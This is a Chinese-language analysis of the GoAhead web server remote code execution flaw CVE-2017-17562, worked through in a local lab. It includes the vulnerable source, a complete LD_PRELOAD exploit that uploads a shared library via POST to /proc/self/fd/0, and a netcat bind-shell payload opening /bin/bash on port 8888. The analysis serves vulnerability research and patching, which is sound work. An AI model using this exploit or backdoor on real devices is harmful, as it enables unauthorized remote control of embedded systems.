CVE-2017-17562(GoAhead 远程代码执行漏洞)分析
Table of Contents
GoAhead 是一个流行的嵌入式设备上的 Web 服务器,最近曝光 3.6.5 之前的版本在远程代码执行漏洞。
1. CGI 交互原理简述
由于是在处理 CGI 时导致漏洞的触发,所以在这之前我们先简单了解下 GoAhead 是如何与 CGI 程序交互的。
GoAhead 在 route.txt(/etc/goahead/route.txt)中定义了 URL 路由,GoAhead 根据 URL 路由来决定 URL 的处理方式,比如:
route uri=/cgi-bin dir=cgi-bin handler=cgi
假如访问 /cgi-bin/cgitest,GoAhead 会直接运行网站目录下 cgi-bin 子目录中的 cgitest 程序,然后将 cgitest 的标准输出内容返回给客户端浏览器。
如果 GET 请求中带了参数,GoAhead 会将参数设置成环境变量,CGI 程序直接通过读取环境变量就可以获得参数内容。如:
/cgi-bin/cgitest?username=lu4nx
GoAhead 会在运行 CGI 程序 cgitest 时,先设置环境变量 username=lu4nx。
但是 GoAhead 没有对环境变量严格过滤,请求时可以设置 LD_PRELOAD 环境变量,然后上传恶意的动态链接库文件,导致了任意恶意代码执行。
2. 搭建测试环境
从 GoAhead 的 GitHub 仓库中下载一份老版本的源码,然后编译。我下载的 3.6.4 的:
$ wget 'https://github.com/embedthis/goahead/archive/v3.6.4.zip' $ unzip v3.6.4.zip && rm -f v3.6.4.zip $ cd goahead-3.6.4 $ make
项目中提供了测试用的 CGI 代码,直接编译来供测试漏洞所用:
$ gcc test/cgitest.c -o test/cgi-bin/cgitest
运行 GoAhead:
$ cd test/ $ sudo ../build/linux-x64-default/bin/goahead
访问 cgitest:
$ curl localhost/cgi-bin/cgitest
3. 漏洞测试
GoAhead 在执行 CGI 之前,先解析 GET 参数,然后把它们注册为环境变量。
cgiHandler 函数负责处理 CGI 请求,代码位于 src/cgi.c,存在漏洞的关键代码如下:
PUBLIC bool cgiHandler(Webs *wp) { /* ... 此处省略其他代码 ... */ envpsize = 64; envp = walloc(envpsize * sizeof(char*)); /* envp 负责保存环境变量 */ for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) { if (s->content.valid && s->content.type == string && /* 只是不允许 REMOTE_HOST 和 HTTP_AUTHORIZATION * 所以这里导致了漏洞的存在,就能设置 LD_PRELOAD 环境变量 */ strcmp(s->name.value.string, "REMOTE_HOST") != 0 && strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) { envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string); trace(5, "Env[%d] %s", n, envp[n-1]); if (n >= envpsize) { envpsize *= 2; envp = wrealloc(envp, envpsize * sizeof(char *)); } } } *(envp+n) = NULL; /* ... 此处省略其他代码 ... */ /* launchCgi 负责执行 CGI 程序,并且把 envp 作为预先设置的环境变量传递过去 */ if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) { websError(wp, HTTP_CODE_INTERNAL_SERVER_ERROR, "failed to spawn CGI task"); for (ep = envp; *ep != NULL; ep++) { wfree(*ep); } wfree(cgiPath); wfree(argp); wfree(envp); wfree(stdOut); wfree(query); } /* ... 此处省略其他代码 ... */ }
借助 cgitest 输出的环境变量,我们先来看传入的 GET 参数是否变成了环境变量:
$ curl localhost/cgi-bin/cgitest?test=hello,world | fgrep hello,world % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1786 0 1786 0 0 88988 0 --:--:-- --:--:-- --:--:-- 89300 <P>QUERY_STRING=test=hello,world</P> <P>QUERY_STRING=test=hello,world</P> <P>test=hello,world</P> <p>QVAR test=hello,world</p>
可见,GoAhead 在执行 cgitest 之前,新增了 test 环境变量,值为 hello,world。
有个特殊的环境变量——LD_PRELOAD,可以让程序执行之前加载指定的 .so 文件。我们做一个测试,新建 poc.c:
#include <stdio.h> static void before_main(void) __attribute__((constructor)); static void before_main(void) { printf("hello world\n"); }
编译成动态链接库:
$ gcc -shared -fPIC poc.c -o poc.so
然后测试:
$ LD_PRELOAD=/tmp/poc.so cat /dev/null hello world
可见,达到了劫持的效果,让程序在加载动态链接库之前,优先加载了 poc.so。
现在我们借助这个 poc.so 来测试下 GoAhead:
$ curl localhost/cgi-bin/cgitest?LD_PRELOAD=/tmp/poc.so -v * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 80 (#0) > GET /cgi-bin/cgitest?LD_PRELOAD=/tmp/poc.so HTTP/1.1 > Host: localhost > User-Agent: curl/7.52.1 > Accept: */* > < HTTP/1.1 200 OK < Date: Fri Dec 29 14:29:21 2017 < Transfer-Encoding: chunked < Connection: keep-alive < X-Frame-Options: SAMEORIGIN < Pragma: no-cache < Cache-Control: no-cache < hello world ... 省略其他输出 ...
看返回给客户端的 HTTP 头中,已经出现了“hello world”字样。
3.1. 远程上传 so 文件
现在问题来了,客户端如何构造一个恶意的 so 文件上传到服务器上让它执行?
我们来看负责执行 CGI 程序的 launchCgi 函数的关键代码:
static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut) { int fdin, fdout, pid; trace(5, "cgi: run %s", cgiPath); /* 注意这里的 fdin 变量,指向的是传递给 CGI 程序的标准输入 */ if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) { error("Cannot open CGI stdin: ", cgiPath); return -1; } if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) { error("Cannot open CGI stdout: ", cgiPath); return -1; } pid = vfork(); if (pid == 0) { /* * 通过 dup2 函数,新进程的标准输入指向的还是客户端传递过来的 */ if (dup2(fdin, 0) < 0) { printf("content-type: text/html\n\nDup of stdin failed\n"); _exit(1); } else if (dup2(fdout, 1) < 0) { printf("content-type: text/html\n\nDup of stdout failed\n"); _exit(1); } else if (execve(cgiPath, argp, envp) == -1) { printf("content-type: text/html\n\nExecution of cgi process failed\n"); } _exit(0); } /* Parent */ if (fdout >= 0) { close(fdout); } if (fdin >= 0) { close(fdin); } return pid; }
来理一下逻辑,客户端 POST 提交的内容,会在 launchCgi 新建进程执行 CGI 程序时,通过调用 dup2 函数,将新进程的标准输入指向 POST 内容的文件描述符中。
Linux 中,/proc/self/fd/0 就指向的标准输入,所以最终构造的攻击方式如下:
$ curl -XPOST --data-binary @/tmp/poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 10160 0 2056 100 8104 1998 7876 0:00:01 0:00:01 --:--:-- 7883 HTTP/1.1 200 OK Date: Fri Dec 29 14:52:00 2017 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Pragma: no-cache Cache-Control: no-cache hello world content-type: text/html
可以看到“hello world”字样。
这里可以改一个简单的 nc 后门测试:
#include <stdlib.h> static void before_main(void)__attribute__((constructor)); static void before_main(void) { system("/bin/nc -l -p 8888 -e /bin/bash"); }
按上面的步骤编译上传,然后用 nc 去连接测试:
$ nc localhost 8888 hostname lx-debian